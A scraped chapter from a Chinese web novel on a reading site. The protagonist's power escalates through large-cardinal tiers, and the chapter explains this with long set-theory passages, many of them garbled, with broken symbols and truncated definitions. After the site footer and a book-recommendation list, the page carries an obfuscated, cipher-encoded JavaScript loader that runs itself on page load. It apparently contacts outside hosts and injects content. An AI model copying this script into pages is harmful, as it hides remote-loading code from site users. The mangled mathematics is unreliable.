梧桐文学

第693章 连升三级又见碎片数理内容较多慎入(第1页)

天才一秒记住【梧桐文学】地址:https://www.wtwx.net

在完全吞没了那未定者将领【自由回路】的一切所有,继而拥有了【深渊魔数】级别的怪诞异数力量后。

穆苍便倏然“脱下”

未定者身份马甲,开始让自身本体,直面那股强度远远超越完全不可描述基数级的异数之力。

而在这种高阶异数力量的刺激下,【无绝秘策】亦毫无滞碍的瞬间启动。

嗡——于是仅仅一刹那间,穆苍的根基、本体、玄髓……一切一切,就从完全不可描述基数级,霍然暴涨攀升到了更为恐怖恢宏的可测基数级。

轰轰轰——霎时,茫茫失却狭渊当中那整支原先由【自由回路】统率的规模宏大无匹气势壮阔至极,由无穷无尽无限无界座怪诞疆域为兵卒汇聚构建而成的可测基数量级未定者大军,就蓦地定格下来,然后分崩离析彻底泯灭瓦解。

这,仅仅只是穆苍膨散开一丝力量而造成的结果而已。

只能说,如可测基数这般高阶大基数公理结构之庞巨伟岸,远远不是仅比完全不可描述基数高一级两级三四级那么简单。

若想要对其进行哪怕最简单的理解,都要历经一段极度繁复而漫长的路途。

像是不可描述基数,指的便是用nn(或∑n)公式的概念和模型论工具,而定义出的大基数。

如果将其详尽数学结构呈展开来,便是:若对任何仅含一个二阶自由变元x的nn公式Φ(x),有α层结构〈vα,∈?vα,r〉满足Φ(r)时,即〈vα,∈?vα,r〉?Φ(r)成立时,就存在β

至于缠绕在此复杂数学结构间的反射原理,则是指全域中任何一阶公式都可用某一层vβ中的相对化公式来进行代替。

另外关于所谓的不可描述性,亦可理解为在α层结构中可为“真”

的公式,必可在α之前的某β层当中同样为“真”

由此即可推出诸多结论或者说产生诸多结果,譬如……若k是强不可达基数,那么当且仅当k即是n10不可描述基数,以及当且仅当k是∑11不可描述基数,还有若k是弱紧致基数,那么当且仅当k是n11不可描述基数。

而凌驾于此之上的,即是强可展开基数。

在逻辑形式上,若基数k是λ不可展开的当且仅当对于zfc的基数k的每个传递模型负幂集,并使得k在中且包含其所有长度小于k的序列,那么将中的元素按关系j非平凡基本嵌入到传递模型中,其中j的临界点即为k且j(k)≥λ。

若一个基数是可展开的,那么当且仅当它对于所有的序数λ就都是λ-不可折叠的。

同时,若一个基数k是强λ不可折叠的当且仅当对于每个zfc负幂集的基数k的传递模型使得k在中并且包含其所有长度小于k的序列,那么就存在一个到传递模型“n”

中的非平凡基本嵌入j,其中j的临界点即为k,而j(k)≥λ,且v(λ)即是n的子集。

最后,由于末尾的n包含了其所有长度为λ的序列,因而若一个基数是强可展开的,那么当且仅当它对于所有λ就都是强λ-不可展开的。

强可展开基数的这些性质,其实本质上就属于超紧致基数的较弱版本,与v=l一致,所以强展开的存在也意味着适当强迫公理较弱版本的一致性。

而矗立于这种大基数之上的,即是拉姆齐基数,此大基数及其定理,确立了w具有r基数推广到不可数情况的特定性质。

即,若令[k]

展开来讲,便是对于每个n,函数f在来自a的基数n的子集上都是常数,而若是a可以选择为k的平稳子集,那么基数k则不可称为r。

如果对于每个函数,基数k实际上都可称为rf:[k]

略过那零零种种的复杂数学结构,所有强拉姆齐基数的上限,便赫然是可测基数。

这种大基数是不可数的k,且在k的幂集上存有在加性、非平凡、0-1值测度。

同时k是可测的,则又意味着其便是将宇宙v的非平凡基本嵌入到传递类的临界点。

总之,可测基数就是一种拥有,或者说使用了模型理论当中超强构造的高阶大基数。

本章未完,请点击下一章继续阅读!若浏览器显示没有新章节了,请尝试点击右上角↗️或右下角↘️的菜单,退出阅读模式即可,谢谢!

如遇章节错误,请点击报错(无需登陆)

新书推荐

重返2008年一胎两宝:总裁爹地哪里逃柴刀流恋爱日常富贵不能吟不让江山玩家研究指南大江湖之热点大侠重生成偏执霍少的小仙女开局皇朝之主,从诸天召唤神魔豪门蜜恋:大佬请滚开黑莲花女配重生了美食供应商长夜余火重生之我真没想当渣男我在大明养生百年霸道帝少惹不得世子很凶诸天执道大国重器[快穿]西游化龙签到天师宫,下山已无敌总裁的不二妻楼白的游戏王奇妙冒险总裁别虐了,夫人才是真千金斗罗大陆之我能抽取无限武魂

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();